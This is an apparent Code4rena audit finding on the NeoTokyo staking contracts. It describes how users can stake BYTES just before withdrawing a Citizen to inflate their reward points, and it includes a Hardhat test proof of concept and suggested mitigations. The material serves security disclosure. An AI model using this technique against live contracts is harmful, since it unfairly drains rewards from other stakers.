Lucene search

K
code423n4Code4renaCODE423N4:2023-03-NEOTOKYO-FINDINGS-ISSUES-339
HistoryMar 15, 2023 - 12:00 a.m.

BYTES can be used to increase points by staking them immediately before withdrawing them

2023-03-1500:00:00
Code4rena
github.com
4
bytes staking
pool points
multiple citizens

Lines of code

Vulnerability details

Impact

When staking BYTES, users donโ€™t need to lock them for any specific time. BYTES are locked in a Citizen, and they are withdrawn together with the Citizen. Users can stake all the BYTES they own before withdrawing the citizen, increasing their points in the pool without losing access to any assets.

A user could also stake multiple Citizens through different addresses and use the same tokens to withdraw all of them, obtaining a boost every time.

Proof of Concept

The next proof of concept uses the already existing test suite. Bob and Alice will stake their citizens, getting 200 and 625 points, respectively. After Bobโ€™s timelock time has passed, he will stake 1000 BYTES in his citizen, increasing his points to 700. After this, he will withdraw his citizen, getting all his BYTES back and increasing the rewards he would have received without staking the BYTES.

To run this test, include it in the โ€œwith example configurationโ€ suite.

it("BYTES can be used to increase points by staking them immediately before withdrawing them", async () => {

    // Configure BYTES pool
    await NTStaking.connect(owner.signer).configurePools(
        [
            {
                assetType: ASSETS.BYTES.id,
                daoTax: LP_DAO_SHARE,
                rewardWindows: [
                    {
                    startTime: 0,
                    reward: ethers.utils.parseEther('50').div(60 * 60 * 24)
                    }
                ]
            }
        ]
    );

    let bobStakeTime, aliceStakeTime;

    // Bob stakes his S1 Citizen for 30 days.
    await NTStaking.connect(bob.signer).stake(
        ASSETS.S1_CITIZEN.id,
        TIMELOCK_OPTION_IDS['30'],
        citizenId1,
        0,
        0
    );

    // Get the time at which Bob staked.
    let priorBlockNumber = await ethers.provider.getBlockNumber();
    let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
    bobStakeTime = priorBlock.timestamp;

    // Alice stakes her S1 Citizen with an additional Vault for 90 days.
    await NTStaking.connect(alice.signer).stake(
        ASSETS.S1_CITIZEN.id,
        TIMELOCK_OPTION_IDS['90'],
        citizenNoVault,
        vaultIdNoVault,
        0
    );

    // Get the time at which Alice staked.
    priorBlockNumber = await ethers.provider.getBlockNumber();
    priorBlock = await ethers.provider.getBlock(priorBlockNumber);
    aliceStakeTime = priorBlock.timestamp;


    // Confirm that Bob's S1 Citizen has the expected staking state.
    let bobStakedS1 = await NTStaking.stakedS1(bob.address, citizenId1);
    bobStakedS1.points.should.be.equal(200);

    // Confirm Bob's current staker position.
    let bobS1Position = await NTStaking.getStakerPosition(
        bob.address,
        ASSETS.S1_CITIZEN.id
    );
    bobS1Position.should.deep.equal([ ethers.BigNumber.from(1) ]);

    // Confirm Bob's total staker position.
    let bobPosition = await NTStaking.getStakerPositions(bob.address);
    bobPosition.stakedS1Citizens[0].citizenId.should.be.equal(
        ethers.BigNumber.from(1)
    );

    // Confirm that Alice's S1 Citizen has the expected staking state.
    let aliceStakedS1 = await NTStaking.stakedS1(
        alice.address,
        citizenNoVault
    );
    aliceStakedS1.points.should.be.equal(625);


    // Confirm Alice's current staker position.
    let aliceS1Position = await NTStaking.getStakerPosition(
        alice.address,
        ASSETS.S1_CITIZEN.id
    );
    aliceS1Position.should.deep.equal([
        ethers.BigNumber.from(2),
    ]);

    // Confirm Alice's total staker position.
    let alicePosition = await NTStaking.getStakerPositions(alice.address);
    alicePosition.stakedS1Citizens[0].citizenId.should.be.equal(
        ethers.BigNumber.from(2)
    );

    // Retrieve the current balances of BYTES.
    let bobBalanceInitial = await NTBytes2_0.balanceOf(bob.address);

    // Simulate Bob staking for 30 days.
    await ethers.provider.send('evm_setNextBlockTimestamp', [
        bobStakeTime + (60 * 60 * 24 * 30)
    ]);

    // Approve BYTES to staker
    await NTBytes2_0.connect(bob.signer).approve(NTStaking.address, ethers.constants.MaxUint256);
    await NTStaking.connect(bob.signer).stake(ASSETS.BYTES.id, TIMELOCK_OPTION_IDS['90'], ethers.utils.parseEther("1000"), citizenId1, 1);

    bobStakedS1 = await NTStaking.stakedS1(bob.address, citizenId1);
    // Check if Bob was able to increase his points
    bobStakedS1.points.should.be.equal(700);

    await NTStaking.connect(bob.signer).withdraw(ASSETS.S1_CITIZEN.id, citizenId1);

    // Check that bob was able to get back his BYTES
    let bobBalance = await NTBytes2_0.balanceOf(bob.address);
    bobBalance.should.be.gt(bobBalanceInitial);

});

Tools Used

Manual review.

Recommended Mitigation Steps

Consider resetting the timelock for a staked citizen after BYTES are staked. Instead of resetting the time, adding a penalty to the time would also prevent this.


The text was updated successfully, but these errors were encountered:

All reactions